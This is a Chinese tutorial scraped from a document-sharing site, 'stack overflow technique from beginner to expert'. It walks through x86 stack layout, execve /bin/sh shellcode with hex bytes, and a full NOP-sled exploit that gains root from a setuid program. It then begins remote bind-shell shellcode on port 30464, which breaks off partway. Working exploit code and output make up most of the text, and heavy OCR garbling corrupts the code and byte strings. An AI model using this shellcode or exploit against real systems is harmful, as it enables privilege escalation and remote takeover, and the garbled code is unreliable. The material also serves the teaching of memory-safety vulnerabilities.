堆棧溢出技術(shù)從入門到精通_第1頁
堆棧溢出技術(shù)從入門到精通_第2頁
堆棧溢出技術(shù)從入門到精通_第3頁
堆棧溢出技術(shù)從入門到精通_第4頁
堆棧溢出技術(shù)從入門到精通_第5頁
已閱讀5頁,還剩70頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

堆棧溢出技術(shù)從入門到精通

本講的預(yù)備知識:

一方面你應(yīng)當(dāng)了解intel匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分派方

的基礎(chǔ)知識,有關(guān)這方面的計算機書籍很多,我將只是簡樸闡述原理,著重在應(yīng)用。另一方

面,

你應(yīng)當(dāng)了解linux,本講中我們的例子將在linux上開發(fā)。

1:一方面復(fù):習(xí)一下基礎(chǔ)知識。

從物理上講,堆棧是就是一段連續(xù)分派的內(nèi)存空間。在一個程序中,會聲明各種變量。靜態(tài)

全局變量是位于數(shù)據(jù)段并且在程序開始運營的時候被加載。而程序的動態(tài)的局部變量則分派

在堆棧里面。

從操作上來講,堆棧是一個先入后出的隊列。他的生長方向與內(nèi)存的生長方向正好相反。我

們規(guī)定內(nèi)存的生長方向為向上,則棧的生長方向為向下。壓棧的操作push=ESP—4,出棧

操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。

請牢牢記住這一點,由于這是堆棧溢出的基本理論依據(jù)建

在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBPa假如函數(shù)有局部變量,

接下來,就在堆棧中開辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被

丟失。但是不被清除。在函數(shù)返問的時候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返

地址到EIP以繼續(xù)執(zhí)行程序。

在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(abc)。在參數(shù)入棧的時候,是:

先壓c,再壓b,最后a.在取參數(shù)的時候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取

Co

(PS:假如你看不懂上面這段概述,請你去看以看關(guān)于堆棧的書籍,一般的匯編語言書籍都

會具體的討論堆棧,必須弄懂它,你才干進行下面的學(xué)習(xí))

2:好了,繼續(xù),讓我們來看一看什么是堆棧溢出。

2.1:運營時的堆棧分派

堆棧溢出就是不顧堆棧中分派的局部數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)

越界。結(jié)果覆蓋了老的堆棧數(shù)據(jù)。

比如有下面一段程序:

程序一:

#includc<stdio.h>

intmain()

(

charname[8];

printf("Pleasetypeyourname:");

gets(name);

printf("Hello,%s!",name);

return0;

編譯并且執(zhí)行,我們輸入ipxodi,就會輸出Hello,ipxodi!。程序運營中,堆棧是怎么操作的呢?

在main函數(shù)開始運營的時候,堆棧里面將被依次放入返回地址,EBP。

我們用gcc-S來獲得匯編語言輸出,可以看到main函數(shù)的開頭部分相應(yīng)如下語句:

pushl%ebp

movl%esp,%cbp

subl$8,%esp

一方面他把EBP保存卜.來,,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來訪問本函數(shù)

局部變量。之后ESP減8,就是堆棧向上增長8個字節(jié),用來存放namen數(shù)組。現(xiàn)在堆棧

的布局如下:

內(nèi)存底部內(nèi)存頂部

nameEBPret

<-——[][][]

A&name

棧頂部堆棧底部

執(zhí)行完gets(name)之后,堆棧如下:

內(nèi)存底部內(nèi)存頂部

nameEBPret

<——|ipxodi\0][J[]

(gets,strcpy等等)沒有對數(shù)組越界加以監(jiān)視和限制,我們運用字符數(shù)組寫

越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。

在上面的例子中,這導(dǎo)致CPU去訪問一個不存在的指令,結(jié)果犯錯。

事實上,當(dāng)堆棧溢出的時候,我們已經(jīng)完全的控制了這個程序下一步的動作。

假如我們用一個實際存在指令地址來覆蓋這個返回地址,CPU就會轉(zhuǎn)而執(zhí)行我

們的指令。

在UINX系統(tǒng)中,我們的指令可以執(zhí)行一個shell,這個shell將獲得和被我們堆

棧溢出的程序相同的權(quán)限,假如這個程序是setuid的,那么我們就可以獲得

rootshello

下一講將敘述如何書寫一個shellcode。

如何書寫一個shellcode

一:shellcode基本算法分析

在程序中,執(zhí)行一個shell的程序是這樣寫的:

shellcode.c

#include<stdio.h>

voidmain(){

char*name⑵;

name[0]="/bin/sh"

iiainc[l]=NULL;

execve(name[O],name,NULL);

execve函數(shù)將執(zhí)行一個程序。他需要程序的名字地址作為第一個參數(shù)。一個內(nèi)容為

該程序的argv[i](argv[n-l]=O)的指針數(shù)組作為第二個參數(shù),以及(char*)0作為

第三個參數(shù)。

我們來看以看execve的匯編代碼:

|nkl1OJ$Contcnt$nbsp;gcc-oshcllcodc-staticshcllcodc.c

[nkll0]$Content$nbsp;gdbshellcode

(gdb)disassemble_execve

Dumpofassemblercodeforfunction_execve:

Ox8OOO2bc<_cxccvc>:pushl%cbp;

Ox8OOO2bd<_execve+l>:movl%esp,%ebp

;上面是函數(shù)頭。

0x80002bf<_execve+3>:pushl%ebx

;保存ebx

0x80002c0<_execve+4>:movl$Oxb,%eax

:eax=Oxb,eax指明第幾號系統(tǒng)調(diào)用。

Ox8OOO2c5<_execve+9>:movlOx8(%ebp),%ebx

;ebp+8是第一個參數(shù)Vbin/sh\O"

Ox8OOO2c8<_cxccvc+12>:movlOxc(%cbp),%ccx

;cbpi12是第二個參數(shù)name數(shù)組的地址

Ox8OOO2cb<_execve+15>:movlOxlO(%ebp),%edx

;ebp+16是第三個參數(shù)空指針的地址。

;name[2-l]內(nèi)容為NULL,用來存放返回值。

Ox8OOO2ce<_execve+18>:int$0x80

;執(zhí)行Oxb號系統(tǒng)調(diào)用(exeeve)

Ox8(X)O2dO<_execve+20>:movl%eax,%edx

;下面是返回值的解決就沒有用了。

0x80002(12<_execve+22>:testl%edx,%edx

0x80002d4<_execve+24>:jnl0x80002e6<_execve+42>

0x8(X)02d6<_execve+26>:negl%edx

0x8C)002d8<_execve+28>:pushl%edx

0x80002d9<_execve+29>:call0x8001a34

<_normal_ermo_loca(ion>

0x8(X)02de<_execve+34>:pop1%edx

Ox8OOO2df<_execve+35>:movl%edx,(%eax)

Ox8OOO2el<_execve+37>:movl$Oxffffffff.%eax

0x80002e6<_execve+42>:popl%ebx

0x8(X)02c7<_cxccvc+43>:movl%cbp,%csp

0x80002e9<_execve+45>:popl%ebp

0x80002ea<_execve+46>:ret

0x80()02eb<_execve+47>:nop

Endofassemblerdump.

通過以上的分析,可以得到如下的精簡指令算法:

movl$cxccve的系統(tǒng)調(diào)用號,%eax

movl"bin/sh\0"的地址,%ebx

movlname數(shù)組的地址,%ecx

movlname[n-l]的地址,%edx

int$0x80;執(zhí)行系統(tǒng)調(diào)用(execve)

當(dāng)execve執(zhí)行成功后,程序shellcode就會退出,/bin/sh將作為子進程繼續(xù)執(zhí)行。

可是,假如我們的execve執(zhí)行失敗,(比如沒有/bin/sh這個文獻(xiàn)),CPU就會繼續(xù)

執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個exit()系統(tǒng)調(diào)

用,結(jié)束shellcode.c的執(zhí)行。

我們來看以看exit(O)的匯編代碼:

(gdb)disassemble_exit

Dumpofassemblercodeforfunction_cxit:

0x800034c<_exit>:pushl%ebp

0x800034d<_exil+l>:movl%esp,%ebp

0x800034f<_exit+3>:pushl%ebx

0x8000350<_cxit+4>:movl$0xl,%cax;1號系統(tǒng)調(diào)用

0x8000355<_exit+9>:movl0x8(%ebp),%ebx;ebx為參數(shù)0

0x8000358<_exit+12>:intS0x80;引發(fā)系統(tǒng)調(diào)用

Ox8OOO35a<_exil+!4>:movlOxfffffffc(%ebp),%ebx

Ox8(M)035d<_exit+l7>:mcvl%ebp,%esp

Ox8OOO35f<_exit+19>:popl%ebp

0x8000360<_cxit120>:ret

0x8(X)0361<_exil+21>:nop

0x8(X)0362<_exit+22>:nop

0x8000363<_exit+23>:nop

Endofassemblerdump.

看來exit(O))的匯編代碼更加簡樸:

movl$0x1,%eax;1號系統(tǒng)調(diào)用

movl0,%ebx;ebx為exit的參數(shù)0

int$0x8();引發(fā)系統(tǒng)調(diào)用

那么總結(jié)一下,合成的匯編代碼為:

movl$execve的系統(tǒng)調(diào)用號,%eax

movl"bin/sh\O”的地址,%cbx

movlname數(shù)組的地址,%ecx

movlname[n-l]的地址,%edx

int$0x80;執(zhí)行系統(tǒng)調(diào)用(exeeve)

movl$0x1,%eax;1號系統(tǒng)調(diào)用

movl0,%ebx;ebx為exit的參數(shù)0

int$0x80;執(zhí)行系統(tǒng)調(diào)用(exit)

二:實現(xiàn)一個shellcode

好,我們來實現(xiàn)這個算法,一方面我們必須有一個字符串“/bin/sh”,還得有一個name

數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次

程序都是動態(tài)加載,字符串和name數(shù)組的地址都不是固定的。

通過JMP和call的結(jié)合,黑客們巧妙的解決了這個問題。

jmpcall的偏移地址#2bytes

popl%esi#1byte//popl出來的是string的地址。

movl%csi,array-offsct(%csi)#3bytes〃在string+8處構(gòu)造name數(shù)組,

〃name[0]放string的地址

movb$OxO,nullbyteoffset(%esi)#4bytes//slring+7處放0作為string的結(jié)

尾。

movl$OxO,null-offset(%esi)#7bytes"name⑴放0。

movl$0xb,%eax#5bytes//eax=0xb是execve的syscall代碼

o

movl%esi,%ebx#2bytes〃ebx=string的地址

lealarray-offset,(%esi),%ecx#3bytes//ecx=name數(shù)組的開始地址

lealnull-offset(%esi),%edx#3bytes//edx=name(1]的地址

int$0x80#2bytes//int0x80是syscall

movl$0x1,%eax#5bytes//eax=Ox1是exit的syscall代碼

movl$0x0,%ebx#5bytes//ebx=O是exit的返I可值

int$0x80#2bytes//int0x80是syscall

callpopl的偏移地址#5bytes〃這里放call,string的地址就會

〃為返回地址壓棧。

/bin/sh字符串

一方面使用JMP相對地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為

call的返回地址壓入堆?!,F(xiàn)在來到poplesi,把剛剛壓入棧中的字符串地址取出來,

就獲得了字符串的真實地址。然后,在字符串的第8個字節(jié)賦0,作為串的結(jié)尾。后面

8個字節(jié),構(gòu)造name數(shù)組(兩個整數(shù),八個字節(jié))。

我們可以寫shellcode了。先寫出匯編源程序。

shellcodeasm.c

voidmain(){

_asm_(u

jmp0x2a#3bytes

popl%esi#1byte

movl%esi.0x8(%esi)#3bytes

movb$0x0,0x7(%esi)#4bytes

movl$OxO,Oxc(%esi)#7bytes

movl$Oxb.%eax#5bytes

movl%esi,%cbx#2bytes

leal0x8(%csi),%ccx#3bytes

lealOxc(%esi),%edx#3by:es

int$0x80#2bytes

movl$0x1,%eax#5bytes

movl$0x0,%ebx#5bytes

int$0x80#2bytes

call-0x2f#5bytes

.stringV'/bin/sh\"#8bytes

");

編譯后,用gdb的b/bx(地址)命令可以得到十六進制的表達(dá)。

下面,寫出測試程序如下:(注意,這個test程序是測試shellcode的基本程序)

test.c

charshellcode]]=

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\xOI\xOO\xOO\xOO\xbb\xOO\xOO\xOO\xOO\xcd\x8O\xe8\xdl\xff\xff

”\xff\x2Ax62\x69\x6e\x2nx73\x68\xOO\x89\xec\x5d\xc3”

voidrnain(){

int*ret:

ret=(int*)&ret+2;//ret等于main()的返回地址

〃(+2是由于:有pushlebp,否則加1就可以了。)

(*rct)=(int)shcllcodc;〃修改main()的返回地址為shellcode的開始地

址。

[nki10J$Content$nbsp;gcc-otesttest.c

[nkll0]$Content$nbsp;./test

SContent$nbsp;exit

[nkl10]$Content$nbsp;

我們通過一個shellcode數(shù)組來存放shellcode,當(dāng)我們把程序(test.c)的返回地址

ret設(shè)立成shellcode數(shù)組的開始地址時,程序在返回的時候就會去執(zhí)行我們的shellcode,

從而我們得到了一個shell。

運營結(jié)果,得到了bsh的提醒符$表白成功的開了一個shelU

這里有必要解釋的是,我們把shellcode作為一個全局變量開在了數(shù)據(jù)段而不是作為

一段代碼。是由于在操作系統(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。

而我們的代碼中movl%函,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在

代碼段。

這個shellcodc可以了嗎?很遺憾,還差了一點。大家回想一下,在堆棧溢出中,關(guān)

鍵在于字符串?dāng)?shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在解決字符串的時候,

以“\0"

為字符串結(jié)尾。遇\0就結(jié)束了寫操作。而我們的shellcode串中有大量的\0字符。因此,

對于gets(name)來說,上面的shellcode是不可行的。我們的shellcodc是不能有\(zhòng)0字符

出現(xiàn)的。

因此,有些指令需要修改一下:

舊的指令新的指令

movb$0x0,0x7(%esi)xorl%eax,%eax

molv$0x0,0xc(%esi)movb%cax,0x7(%csi)

movl%eax.Oxc(%esi)

movl$0xb,%eaxmovb$0xb,%al

movl$0x1,%eaxxorl%ebx,%ebx

movl$0x0,%cbxmovl%cbx,%cax

inc%cax

最后的shellcode為:

charshcllcode[]=

00"\xeb\xlf/*jmpOxlf*/

02"\x5e"/*popl%esi*/

()3"\x89\x76\x08"/*movl%esi,0x8(%csi)*/

06"\x31\xc0"/*xorl%eax,%eax*/

08"\x88\x46\x07"/*movb%eax,0x7(%esi)*/

0b"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/

0c"\xbO\xOb"/*movb$Oxb,%al*/

10"\x89\xf3,t/*movl%esi.%ebx*/

12"\x8d\x4e\x08"/*leal0>8(%esi),%ecx*/

15"\x8d\x56\x0c"/*lealOxc(%esi),%edx*/

18"\xcd\x80"/*int$0x80*/

la"\x31\xdb"/*xorl%cbx.%cbx*/

1c,,\x89\xd8"/*movl%ebx,%eax*/

Ie"\x40"/*inc%eax*/

lf"\xcd\x80"/*ini$0x80*/

21"\xe8\xdc\xff\xft\xff'/*call-0x24*/

26"/bin/sh"/?.string\"/bin/sh\"*/

三:運用堆棧溢出獲得shell

好了,現(xiàn)在我們已經(jīng)制造了一次堆棧溢出,寫好了一個shellcode。準(zhǔn)備工作都已經(jīng)作完,

我們把兩者結(jié)合起來,就寫出一個運用堆棧溢出獲得shell的程序.

overflowl.c

charshellcode[]=

"\xeb\x11\x5e\x89\x76\x08\x3I\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"

charlarge_string[128];

voidmain(){

charbuffer[961;

inti;

long*long_ptr=(long*)large_string;

for(i=0;i<32;i++)

*(long_ptr+i)=(int)buffer;

for(i=0;i<slrlcii(shcllcudc);i十十)

large_string[i]=shellcode[i];

strcpy(bufferJarge_string);

在執(zhí)行完strcpy后,堆棧內(nèi)容如下所示:

內(nèi)存底部內(nèi)存頂部

bufferEBPret

<——[SSS...SSSA][A][A]A..A

A&buffer

棧頂部堆棧底部

注:S表達(dá)shellcodeo

A表達(dá)shellcode的地址。

這樣,在執(zhí)行完strcpy后.overflow。c將從ret取出A作為返回地址,從而執(zhí)行了我們

的shellcodeo

運用堆棧溢出獲得shell

現(xiàn)在讓我們進入最刺激的一講,運用別人的程序的堆棧溢出獲得rootsheL我們

將面對

一個有strepy堆棧溢出漏洞的程序,運用前面說過的方法來得到shello

回想一下前面所講,我們通過一個shcllcodc數(shù)組來存放shcllcodc,運用程序中的

strepy

函數(shù),把shellcode放到了程序的堆棧之中;我們制造了數(shù)組越界,用shellcode的

開始地

址覆蓋了程序(overflow.c)的返回地址,程序在返回的時候就會去執(zhí)行我們的

shellcode,從而我們得到了一個shell。

當(dāng)我們面對別人寫的程序時,為了讓他執(zhí)行我們的shellcode,同樣必須作這兩件

事:

I:把我們的shellcode提供應(yīng)他,讓他可以訪問shellcode..

2:修改他的返回地址為sheHcode的入口地址。

為了做到這兩條,我們必須知道他的strepy(huffer,ourshcilcode)中,buffer

的地址。

由于當(dāng)我們把shellcode提供應(yīng)strepy之后,buffer的開始地址就是shellcode的開

始地址

,我們必須用這個地址來覆蓋堆棧才成。這一點大家一定要明確。

我們知道,對于操作系統(tǒng)來說,一個shell下的每一個程序的堆棧段開始地址都是

相同的

。我們可以寫一個程序,獲得運營時的堆棧起始地址,這樣,我們就知道了目的程

序堆棧

的開始地址。

下面這個函數(shù),用eax返回當(dāng)前程序的堆棧指針。(所有C函數(shù)的返回值都放在eax

寄存器

里面):

unsignedlongget_sp(void){

_asm_("movl%esp,%eax");

我們在知道了堆棧開始地址后,buffer相對于堆棧開始地址的偏移,是他程序員自

寫出來的程序決定的,我們不知道,只能靠猜測了。但是,一般的程序堆棧大約是

幾K

左右。所以,這個buffer與上面得到的堆棧地址,相差就在幾K之間。

顯然猜地址這是一件很難的事情,從0試到10K,會把人累死的。

前面我們用來覆蓋堆棧的溢出字符串為:

SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

現(xiàn)在,為了提高命中率,我們對他進行如下改善:

用來溢出的字符串變?yōu)椋?/p>

NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA

其中:

N為NOP.NOP指令意思是什么都不作,跳過一個CPU指令周期。在intel機器上,

NOP指令的機器碼為0x90o

S為shellcode?

A為我們猜測的buffer的地址。這樣,A猜大了也可以落在N上,并且最終會執(zhí)行到

S.

這個改善大大提高了猜測的命中率,有時幾乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是運用./vulnerablel的堆棧溢出漏洞來得到

shell的程序:

exploitl.c

#include<stdio.h>

#include<stdlib.h>

#defineOFFSET0

#dcfineRET_POSITION1024

#defineRANGE20

#defineNOP0x90

charshellcode[]=

"\xeb\x1f/*jmpOx1f*/

"\x5e"/*popl%esi*/

”\x89\x76\x08”/*movl%esi,0x8(%esi)*/

"\x31\xc0"/*xorl%eax,%cax*/

"\x88\x46\x07"/*movb%eax.0x7(%esi)*/

"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/

"\xhO\xOh"/*movb$0xb,%a1?/

"\x89\xf3"/*movl%esi,%ebx*/

"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/

"\x8d\x56\x0c"/*lealOxc(%esi),%edx*/

"\xcd\x80"/*intSOxSO*/

"\x31\xdb"/*xorl%ebx,%ebx*/

"\x89\xd8"/*movl%ebx,%eax*/

"\x40"/*inc%eax*/

"\xcd\x80"/*intS0x80*/

"\xe8\xdc\xfi\xff\xff/*call-0x24*/

7bin/sh"/*.string\"/bin/sh\"*/

unsignedlongget_sp(void)

_asm_("movl%esp,%eax");

main(intargc,char**argv)

charbuft!RET_POSITION+RANGE+l],*ptr;

longaddr;

unsignedlongsp;

intoffset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+l;

inti;

if(argc>1)

offset=atoi(argv[I]);

sp=get_sp();

addr=sp-offset;

for(i=0;i<bsize;i+=4)

?((long*)&(buff[iJ))=addr;

fbr(i=0;i<bsize-RANGE*2-strlen(shellcode)-l;i++)

buff!iJ=NOP;

ptr=buff+bsize-RANGE*2->trlen(shellcode)-l;

for(i=0;i<strlcn(shellcodc);i++)

*(ptr++)=shellcode[i];

buffIbsize-l]=n\O"

〃現(xiàn)在buff的內(nèi)容為

//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\O

piintf("Junipto0x%08x\n",addr);

cxculC./vuiiicrablcl";'vulnerablerebuff,0);

execl用來執(zhí)行目的程序./vulnerable],buff是我們精心制作的溢出字符串,

作為./vulnerable1的參數(shù)提供。

以下是執(zhí)行的結(jié)果:

[nkl10]$Content$nbsp;ls-Ivulnerable1

-rwsr-xr-x1rootrootxxxxjan1016:19vulnerableI*

|nkll()]$Contcnt$nbsp;ls-1exploitI

-rwxr-xr-x1ipxodicinipxxxxOct1813:20exploit1*

[nkl10]$Content$nbsp;./exploit1

Jumpto0xbfffec64

Segmentationfault

[nkllO]$Content$nbsp:./exploitl500

Jumpto0xbfffea70

bash#whoami

root

bash#

恭喜,恭喜,你獲得了rootshello

下一講,我們將進一步探討shellcode的書寫。我們將討論一些很復(fù)雜的

shellcode?

遠(yuǎn)程堆棧溢出

我們用堆棧溢出襲擊守護進程daemon時,原理和前面提到過的本地襲擊是相同的。

我們

必須提供應(yīng)目的daemon一個溢出字符串,里面包含了shellcode。希望敵人在復(fù)制

(或者

別的串解決操作)這個串的時候發(fā)生堆棧溢出,從而執(zhí)行我們的shellcode。

普通的shellcode將啟動一個子進程執(zhí)行sh,自己退出。對于我們這些遠(yuǎn)程的襲擊

者來說

,由于我們不在本地,這個sh我們并沒有得到。

因此,對于遠(yuǎn)程使用者,我們傳過去的shellcode就必須承擔(dān)起打開一個socket,

然后

listen我們的連接,給我們一個遠(yuǎn)程shell的責(zé)任。

如何開一個遠(yuǎn)程shell呢?我們先申請一個sockctfd,使用30464(隨便,多少都行

)作為

這個sockel連接的端口,bind他,然后在這個端口上等待連接lislen。當(dāng)有連接進

來后,

開一個子shell,把連接的clientfd作為子shell的stdin,stdout,stderro這樣,

我們

遠(yuǎn)程的使用者就有了一個遠(yuǎn)程shell(跟telnet同樣啦)。

下面就是這個算法的C實現(xiàn):

opensocket.c

l#includc<unistd.h>

2#include<sys/socket.h>

3#include<netinet/in.h>

4intsoc,cli,soc_len;

5structsockaddr_inserv_addr;

6structsockaddr_incli_addr;

7intmain()

9if(fbrk()==O)

10{

1iserv_addr.sin_famiIy=AF_INET;

12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

13scrv_addr.sin_port=htons(30464);

14soc=sockct(AF_INET,SOCK_STREAM,IPPROTO_TCP);

15bind(soc,(structsockaddr*)&serv_addr,

sizeof(serv_addr));

16listen(soc,l);

17soc_len=sizeof(cli_addr);

18cli=accept(soc,(structsockaddr*)&cli_addr.

&soc_len);

19dup2(cli,0);

20dup2(cli,l);

21dup2(cli,2);

22execl("/bin/sh","sh,,,O);

23)

24)

第9行的fork。函數(shù)創(chuàng)建了一個子進程,對于父進程fork。的返回值是子進程的

pid,

對于子進程,fork。的返叵值是0.本程序中,父進程執(zhí)行了一個fork就退出了,子

進程

作為socket通信的執(zhí)行者繼續(xù)下面的操作。

10到23行都是子進程所作的事情。一方面調(diào)用socket獲得一個文獻(xiàn)描述符soc,然后

調(diào)用

bind。綁定30464端口,接下來開始監(jiān)聽lislen。.程序掛起在accept等待客戶連接

O

當(dāng)有客戶連接時,程序被喚醒,進行accepl,然后把自己的標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,

標(biāo)準(zhǔn)錯誤輸出重定向到客戶的文獻(xiàn)描述符上,開一個子sh,這樣,子shell繼承了

這個進程的文獻(xiàn)描述符,對于客戶來說,就是得到了一個遠(yuǎn)程shell。

看懂了嗎?嗯,對,這是一個比較簡樸的socket程序,很好理解的。好,我們使用

gdb來反編譯上面的程序:

[nkl10]$Content$nbsp;gcc-oopensocket-staticopensocket.c

[nkll()J$Content$nbsp;gdbopensocket

GNUgdb4.17

Copyright1998FreeSoftwareFoundation,Inc.

GDBisfreesoftware,coveredby(heGNUGeneralPublicLicense,andyou

are

welcometochangeitand/ordistributecopiesofitundercertain

conditions.

Type"showcopying"toseetheconditions.

ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fbr

details.

ThisGDBwasconfiguredas"i386-rcdhat-linux"...

(gdb)disassemblefork

Dumpofassemblercodeforfunctionfork:

0x8()4ca90<fork>:movl$0x2,%eax

0x804ca95<fork+5>:int$0x80

0x804ca97<fork+7>:cnipl$0xfffff001,%eax

0x804ca9c<fork+12>:jae0x804cdc0<_syscall_error>

0x8()4caa2<fork+18>:ret

0x804caa3<fork+19>:nop

0x804caa4<fork+20>:nop

0x804caa5<fork+2l>:nop

0x804caa6<fork+22>:nop

0x804caa7<fork+23>:nop

0x804caa8<fork+24>:nop

0x804caa9<fork+25>:nop

0x8()4caaa<fork+26>:nop

0x804caab<fork+27>:nop

0x804caac<fork+28>:nop

0x804caad<fork+29>:nop

0x8()4caac<fork+3()>:nop

0x804caaf<fork+31>:nop

Endofassemblerdump.

(gdb)disassemblesocket

Dumpofassemblercodeforfunctionsocket:

0x804cda0<sockct>:movl%cbx,%cdx

0x804cda2<socket+2>:movlS0x66,%eax

0x8()4cda7<socket+7>:movl$0xI,%ebx

0x804cdac<socket+12>:leal0x4(%esp,1),%ecx

0x804cdb0<socket+16>:int$0x80

0x804cdb2<socket+18>:movl%edx.%ebx

0x8()4cdb4<socket+2()>:cmpl$Oxffffff83,%eax

0x804cdb7<sockct+23>:jac0x804cdc0<_syscall_crror>

0x804cdbd<socket+29>:ret

0x804cdbe<socket+30>:nop

0x804cdbf<socket+31>:nop

Endofassemblerdump.

(gdb)disassemblebind

Dumpofassemblercodeforfunctionbind:

0x8()4cd60<bind>:movl%ebx,%edx

0x804cd62<bind+2>:movl$0x66,%eax

0x804cd67<bind+7>:movl$0x2,%ebx

0x804cd6c<bind+12>:leal0x4(%esp,l),%ecx

0x8()4cd70<bind+16>:int$0x80

0x804cd72<bind+18>:mov)%edx,%ebx

0x804cd74<bind+20>:cmpl$Oxffffff83,%eax

0x804cd77<bind+23>:jae0x804cdc0<_syscall_error>

0x804cd7d<bind+29>:ret

0x804cd7c<bind?3O>:nop

0x804cd7f<bind+31>:nop

Endofassemblerdump.

(gdb)disassemblelisten

Dumpofassemblercodeforfunctionlisten:

0x804cd80<lis(en>:movl%ebx,%edx

0x804cd82<listen+2>:movl$0x66,%eax

0x804cd87<listcn+7>:movl$0x4,%cbx

0x804cd8c<listen+12>:leal0x4(%esp,l),%ecx

0x804cd90<listen+16>:int$0x80

0x804cd92<listen+18>:movl%edx,%ebx

0x804cd94<listen+20>:cmpl$Oxffffff83,%eax

0x804cd97<listen+23>:jae0x804cdc0<_syscall_error>

0x804cd9d<listen+29>:ret

0x8()4cd9e<listen+30>:nop

0x804cd9f<listcn+31>:nop

Endofassemblerdump.

(gdb)disassembleaccept

Dumpofassemblercodeforfunction_accept:

0x804cd40<_accept>:movl%ebx,%edx

0x804cd42<_accepl+2>:movl$0x66,%eax

0x804cd47<_accep(+7>:movl$0x5,%ebx

0x804cd4c<_accept+12>:leal0x4(%esp,l),%ecx

0x804cd50<_accepti16>:int$0x80

0x804cd52<_accep(+18>:movl%edx,%ebx

Ox8(Mcd54<__accept+20>:cmpl$0xffffff83,%eax

0x804cd57<_accept+23>:jae0x804cdc0<_syscall_error>

0x804cd5d<_accept+29>:ret

0x804cd5e<_accept+30>:nop

0x804cd5f<_accept+31>:nop

Endofassemblerdump.

(gdb)disassembledup2

Dumpofassemblercodeforfunctiondup2:

0x804cbe0<dup2>:movl%ebx,%edx

0x804cbc2<dup2+2>:movl0x8(%esp,l),%ecx

0x804cbe6<dup2+6>:movl0x4(%esp,l),%ebx

0x804cbea<dup2+10>:movl$0x3f,%eax

0x8()4cbef<dup2+l5>:int$0x80

0x804cbfl<dup2+17>:movl%cdx,%ebx

0x804cbf3<dup2+19>:cmpl$0xfffff001,%eax

0x804cbf8<dup2+24>:jae0x804cdc0<_syscall_error>

0x804cbfe<dup2+30>:ret

0x804cbff<dup2+31>:nop

Endofassemblerdump.

現(xiàn)在可以寫上面c代碼的匯編語句了。

fork。的匯編代碼

charcode[l=

"\x3l\xc0"/*xorl%eax,%eax*/

"\xb0\x02"/*movb$0x2,%al*/

"\xcd\x80"/*intS0x80*/

socket(2,1,6)的匯編代碼

注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6

/*socket使用66號系統(tǒng)調(diào)用,1號子調(diào)用。*/

/*他使用一段內(nèi)存塊來傳遞參數(shù)2,1,6。*/

/*%ccx里面為這個內(nèi)存塊的地址指針.*/

charcode[l=

"\x31\xc0"/*xorl%eax,%eax*/

”\x31\xdb”/*xorl%ebx,%ebx*/

"\x89\xfl"/*movl%esi,%ecx*/

"\xb0\x02"/*movb$0x2,%al*/

"\x89\x06"/*movl%cax,(%esi)*/

/求第一個參數(shù)為

/*%esi指向一段未使用的內(nèi)存空間*/

"\xbO\xOI"/*movbSOxl,%al*/

”\x89\x46\x04"/*movl%eax,0x4(%esi)*/

/*第二個參數(shù)*/

"\xbO\xO6"/*movb$0x6,%al*/

”\x89\x46\x08”/*movl%eax,()x8(%esi)*/

/*第三個參數(shù).*/

"\xbO\x66"/*movb$0x66,%al*/

"\xb3\x01"/*movbSOxl,%bl*/

"\xcd\x80"/*intS0x80*/

bind(soc,(structsockaddr*)&serv_addr,OxlO)的匯編代碼

/*bind使用66號系統(tǒng)調(diào)用,2號子調(diào)用。*/

/*他使用一段內(nèi)存塊來傳遞參數(shù)。*/

/,"%ecx里面為這個內(nèi)存塊的地址指針.*/

charcode[]=

"\x89\xfl"/*movl%esi,%ecx*/

"\x89\x06"/*movl%eax,(%esi)*/

/*%cax的內(nèi)容為剛才socket調(diào)用的返回值,*/

/求就是soc文獻(xiàn)描述符,作為第一個參數(shù)"/

"\xb0\x02"/*movb$0x2,%al*/

"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/

/*scrv_addr.sin_family=AF_NET(2)*/

/*2放在0xc(%esi).*/

"\xb0\x77"/*movb$0x77,%al*/

"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*/

